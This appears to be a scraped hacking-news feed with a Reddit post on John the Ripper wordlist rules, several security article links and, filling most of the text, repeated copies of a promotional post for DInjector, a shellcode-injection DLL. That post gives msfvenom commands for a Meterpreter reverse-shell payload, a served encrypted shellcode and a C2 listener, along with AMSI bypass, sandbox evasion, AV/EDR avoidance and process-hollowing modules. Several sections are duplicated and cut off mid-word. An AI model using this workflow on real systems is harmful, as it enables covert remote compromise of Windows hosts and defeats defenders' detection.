hacking: security in practice
John The Ripper - Double dipping from wordlist
Hello every one!
I'm attempting to help my friend open his .zip file which he forgot his password to. He has a really good idea of the format however, just unsure of which position/words are where.
For ex. Dog_freedom_6324_Banana frog_Johnathon_3432_mother etc
I'm VERY new to ethical hacking and am only doing this as a fun project to help him. I've been trying to learn how it works and have gotten as far as:
aZ"_[0-9][09][09] for my rule.
Using John --wordlist=Name --rules=Name --stdout I see that John first pulls a word from my wordlist, then adds a _ and proceeds to add 3 random numbers.
The issue is I don't know how to make John "double dip" into the wordlist as my first example would need. Ex. WordlistWordlist"47385"_Wordlist (Assuming the numericals are known)
Apologies if I'm not good at explaining - let me know if I can clarify. (The password he has used does not contain normal words in the dictionary so its important that I can tell John the words I need it to try between underscores)
Thank you so much for your time.
submitted by /u/ColdNCursed
[link] [comments]
John The Ripper - Double dipping from wordlist
Hello every one!
I'm attempting to help my friend open his .zip file which he forgot his password to. He has a really good idea of the format however, just unsure of which position/words are where.
For ex. Dog_freedom_6324_Banana frog_Johnathon_3432_mother etc
I'm VERY new to ethical hacking and am only doing this as a fun project to help him. I've been trying to learn how it works and have gotten as far as:
aZ"_[0-9][09][09] for my rule.
Using John --wordlist=Name --rules=Name --stdout I see that John first pulls a word from my wordlist, then adds a _ and proceeds to add 3 random numbers.
The issue is I don't know how to make John "double dip" into the wordlist as my first example would need. Ex. WordlistWordlist"47385"_Wordlist (Assuming the numericals are known)
Apologies if I'm not good at explaining - let me know if I can clarify. (The password he has used does not contain normal words in the dictionary so its important that I can tell John the words I need it to try between underscores)
Thank you so much for your time.
submitted by /u/ColdNCursed
[link] [comments]
reddit
John The Ripper - Double dipping from wordlist
Hello every one! I'm attempting to help my friend open his .zip file which he forgot his password to. He has a really good idea of the format...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Microsoft Team’s Unpatched URL Spoofing Vulnerability
https://priyankraval.medium.com/microsoft-teams-unpatched-url-spoofing-vulnerability-c58f5949fac8?source=rss------bug_bounty-5
https://priyankraval.medium.com/microsoft-teams-unpatched-url-spoofing-vulnerability-c58f5949fac8?source=rss------bug_bounty-5
What is URL Spoofing?Continue reading on Medium » (https://priyankraval.medium.com/microsoft-teams-unpatched-url-spoofing-vulnerability-c58f5949fac8?source=rss------bug_bounty-5)
r/Pentesting Subdirect Statistics
https://www.reddit.com/r/Pentesting/comments/so85st/rpentesting_subdirect_statistics/
https://www.reddit.com/r/Pentesting/comments/so85st/rpentesting_subdirect_statistics/
submitted by /u/lochydjango (https://www.reddit.com/user/lochydjango)
[link] (https://redditpagematrics.com/r/Pentesting) [comments] (https://www.reddit.com/r/Pentesting/comments/so85st/rpentesting_subdirect_statistics/)
[link] (https://redditpagematrics.com/r/Pentesting) [comments] (https://www.reddit.com/r/Pentesting/comments/so85st/rpentesting_subdirect_statistics/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Crypto Wallet MetaMask And 40 Others Are Targeted By New Malware: How To Protect Yourself!
https://cdn-images-1.medium.com/max/2600/0*45ST1t40IV98yYCO
Lovers and managers of their cryptocurrencies, beware! New malware is targeting MetaMask and 40 other crypto wallets!
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Crypto Wallet MetaMask And 40 Others Are Targeted By New Malware: How To Protect Yourself!
https://cdn-images-1.medium.com/max/2600/0*45ST1t40IV98yYCO
Lovers and managers of their cryptocurrencies, beware! New malware is targeting MetaMask and 40 other crypto wallets!
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
PORTSWIGGER WEB SECURITY - INFORMATION DISCLOSURE LAB ÇÖZÜMLERİ
https://ariarif.medium.com/portswigger-web-security-information-disclosure-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-2d4bcc6404f3?source=rss------bug_bounty-5
https://ariarif.medium.com/portswigger-web-security-information-disclosure-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-2d4bcc6404f3?source=rss------bug_bounty-5
Information Disclosure - Bilgi Sızıntısı olarak tanımlanan güvenlik zafiyeti, bir web uygulamasında kullanıcılara istemsiz bir şekilde…Continue reading on Medium » (https://ariarif.medium.com/portswigger-web-security-information-disclosure-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-2d4bcc6404f3?source=rss------bug_bounty-5)
Black Hat Ethical Hacking
Google fixes remote escalation of privileges bug on Android
Google fixes remote escalation of privileges bug on Android
Black Hat Ethical Hacking
Google fixes remote escalation of privileges bug on Android | Black Hat Ethical Hacking
Google has released the February 2022 Android security updates, addressing two critical vulnerabilities, one being a remote escalation of privilege that requires no user interaction.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
DInjector : Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL
DInjector repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.
Features:
* Fully ported to D/Invoke API
* Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
* Built-in AMSI bypass
* PPID spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
* Sandbox detection & evasion
https://s.w.org/images/core/emoji/13.1.0/72x72/2139.png Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when included as an embedded resource via Costura.Fody (or similar approaches), so I’ve shrinked it a bit and included from source to achieve better OpSec.
DISCLAIMER. All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool. Usage
* Compile the project in VS.
* Generate a shellcode for your favourite C2:
~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin
Encrypt the shellcode:
~$ encrypt.py shellcode.bin -p ‘Passw0rd!’ -o enc
Serve the encrypted shellcode and prepare C2 listener:
~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx “use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run”
* Use the PowerShell download cradle to load DInjector.dll as
I do not recommend putting the assembly on disk because it will very likely be flagged.
Required global arguments:
NameExample ValueDescription
OpSec safe considerations are based on my personal usage expirience and some testings along the way. FunctionPointer
module_name: ‘functionpointer’
description:
Allocates a RW memory region, copies the shellcode into it
and executes it like a function.
calls:
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: false
references:
‘http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/’
‘https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis’
‘https://www.fergonez.net/post/shellcode-csharp’
FunctionPointerV2
module_name: ‘functionpointerv2’
description:
Sets RX on a byte array and executes it like a function.
calls:
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: false
references:
‘https://jhalon.github.io/utilizing-syscalls-in-csharp-1/’
‘https://jhalon.github.io/utilizing-syscalls-in-csharp-2/’
‘https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs’
ClipboardPointer
module_name: ‘clipboardpointer’
description:
Copies shellcode bytes into the clipboard,
sets RX on it and executes it like a function.
calls:
user32.dll:
1: ‘OpenClipboard’
2: ‘SetClipboardData’
3: ‘CloseClipboard’
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: true
references:
CurrentThread
module_name: ‘currentthread’
description:
Injects shellcode into current process.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
3: ‘NtCreateThreadEx’
4: ‘NtWaitForSingleObject’
5: ‘NtFreeVirtualMemor[...]
DInjector : Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL
DInjector repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.
Features:
* Fully ported to D/Invoke API
* Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
* Built-in AMSI bypass
* PPID spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
* Sandbox detection & evasion
https://s.w.org/images/core/emoji/13.1.0/72x72/2139.png Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when included as an embedded resource via Costura.Fody (or similar approaches), so I’ve shrinked it a bit and included from source to achieve better OpSec.
DISCLAIMER. All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool. Usage
* Compile the project in VS.
* Generate a shellcode for your favourite C2:
~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin
Encrypt the shellcode:
~$ encrypt.py shellcode.bin -p ‘Passw0rd!’ -o enc
Serve the encrypted shellcode and prepare C2 listener:
~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx “use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run”
* Use the PowerShell download cradle to load DInjector.dll as
System.Reflection.Assemblyand execute it from memory.I do not recommend putting the assembly on disk because it will very likely be flagged.
Required global arguments:
NameExample ValueDescription
/am51True, FalseApplies AMSI bypass/schttp://10.10.13.37/encSets shellcode path (can be loaded from URL or as a Base64 string)/passwordPassw0rd!Sets password to decrypt the shellcode ModulesOpSec safe considerations are based on my personal usage expirience and some testings along the way. FunctionPointer
module_name: ‘functionpointer’
description:
Allocates a RW memory region, copies the shellcode into it
and executes it like a function.
calls:
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: false
references:
‘http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/’
‘https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis’
‘https://www.fergonez.net/post/shellcode-csharp’
FunctionPointerV2
module_name: ‘functionpointerv2’
description:
Sets RX on a byte array and executes it like a function.
calls:
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: false
references:
‘https://jhalon.github.io/utilizing-syscalls-in-csharp-1/’
‘https://jhalon.github.io/utilizing-syscalls-in-csharp-2/’
‘https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs’
ClipboardPointer
module_name: ‘clipboardpointer’
description:
Copies shellcode bytes into the clipboard,
sets RX on it and executes it like a function.
calls:
user32.dll:
1: ‘OpenClipboard’
2: ‘SetClipboardData’
3: ‘CloseClipboard’
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: true
references:
CurrentThread
module_name: ‘currentthread’
description:
Injects shellcode into current process.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
3: ‘NtCreateThreadEx’
4: ‘NtWaitForSingleObject’
5: ‘NtFreeVirtualMemor[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials DInjector : Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL DInjector repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover…
y (shellcode)’
opsec_safe: false
references:
‘https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs’
CurrentThreadUuid
module_name: ‘currentthreaduuid’
description:
Injects shellcode into current process.
Thread execution via EnumSystemLocalesA.
calls:
kernel32.dll:
1: ‘HeapCreate’
2: ‘EnumSystemLocalesA’
rpcrt4.dll:
1: ‘UuidFromStringA’
opsec_safe: false
references:
‘https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/’
‘https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs’
RemoteThread
module_name: ‘remotethread’
arguments:
/pid:1337
description:
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtOpenProcess’
2: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
3: ‘NtWriteVirtualMemory (shellcode)’
4: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
5: ‘NtCreateThreadEx’
opsec_safe: false
references:
‘https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs’
RemoteThreadDll
module_name: ‘remotethreaddll’
arguments:
/pid:1337
/dll:msvcp_win.dll
description:
Injects shellcode into an existing remote process
overwriting one of its loaded modules’ .text section.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtOpenProcess’
2: ‘NtWriteVirtualMemory (shellcode)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx’
opsec_safe: –
references:
‘https://www.netero1010-securitylab.com/eavsion/alternative-process-injection’
RemoteThreadContext
module_name: ‘remotethreadcontext’
arguments:
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description:
Injects shellcode into a newly spawned remote process.
Thread execution via SetThreadContext.
calls:
kernel32.dll:
1: ‘InitializeProcThreadAttributeList’
2: ‘UpdateProcThreadAttribute (blockDLLs)’
3: ‘UpdateProcThreadAttribute (PPID)’
4: ‘CreateProcessA’
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtWriteVirtualMemory (shellcode)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx (CREATE_SUSPENDED)’
5: ‘GetThreadContext’
6: ‘SetThreadContext’
7: ‘NtResumeThread’
opsec_safe: true
references:
‘https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/’
‘https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs’
ProcessHollow
module_name: ‘processhollow’
arguments:
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description:
Injects shellcode into a newly spawned remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
calls:
kernel32.dll:
1: ‘InitializeProcThreadAttributeList’
2: ‘UpdateProcThreadAttribute (blockDLLs)’
3: ‘UpdateProcThreadAttribute (PPID)’
4: ‘CreateProcessA’
ntdll.dll:
1: ‘NtQueryInformationProcess’
2: ‘NtReadVirtualMemory (ptrImageBaseAddress)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)’
4: ‘NtWriteVirtualMemory (shellcode)’
5: ‘NtProtectVirtualMemory (oldProtect)’
6: ‘NtResumeThread’
opsec_safe: false
references:
‘https://github.com/CCob/SharpBlock/blob/master/Program.cs’ Download
opsec_safe: false
references:
‘https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs’
CurrentThreadUuid
module_name: ‘currentthreaduuid’
description:
Injects shellcode into current process.
Thread execution via EnumSystemLocalesA.
calls:
kernel32.dll:
1: ‘HeapCreate’
2: ‘EnumSystemLocalesA’
rpcrt4.dll:
1: ‘UuidFromStringA’
opsec_safe: false
references:
‘https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/’
‘https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs’
RemoteThread
module_name: ‘remotethread’
arguments:
/pid:1337
description:
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtOpenProcess’
2: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
3: ‘NtWriteVirtualMemory (shellcode)’
4: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
5: ‘NtCreateThreadEx’
opsec_safe: false
references:
‘https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs’
RemoteThreadDll
module_name: ‘remotethreaddll’
arguments:
/pid:1337
/dll:msvcp_win.dll
description:
Injects shellcode into an existing remote process
overwriting one of its loaded modules’ .text section.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtOpenProcess’
2: ‘NtWriteVirtualMemory (shellcode)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx’
opsec_safe: –
references:
‘https://www.netero1010-securitylab.com/eavsion/alternative-process-injection’
RemoteThreadContext
module_name: ‘remotethreadcontext’
arguments:
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description:
Injects shellcode into a newly spawned remote process.
Thread execution via SetThreadContext.
calls:
kernel32.dll:
1: ‘InitializeProcThreadAttributeList’
2: ‘UpdateProcThreadAttribute (blockDLLs)’
3: ‘UpdateProcThreadAttribute (PPID)’
4: ‘CreateProcessA’
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtWriteVirtualMemory (shellcode)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx (CREATE_SUSPENDED)’
5: ‘GetThreadContext’
6: ‘SetThreadContext’
7: ‘NtResumeThread’
opsec_safe: true
references:
‘https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/’
‘https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs’
ProcessHollow
module_name: ‘processhollow’
arguments:
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description:
Injects shellcode into a newly spawned remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
calls:
kernel32.dll:
1: ‘InitializeProcThreadAttributeList’
2: ‘UpdateProcThreadAttribute (blockDLLs)’
3: ‘UpdateProcThreadAttribute (PPID)’
4: ‘CreateProcessA’
ntdll.dll:
1: ‘NtQueryInformationProcess’
2: ‘NtReadVirtualMemory (ptrImageBaseAddress)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)’
4: ‘NtWriteVirtualMemory (shellcode)’
5: ‘NtProtectVirtualMemory (oldProtect)’
6: ‘NtResumeThread’
opsec_safe: false
references:
‘https://github.com/CCob/SharpBlock/blob/master/Program.cs’ Download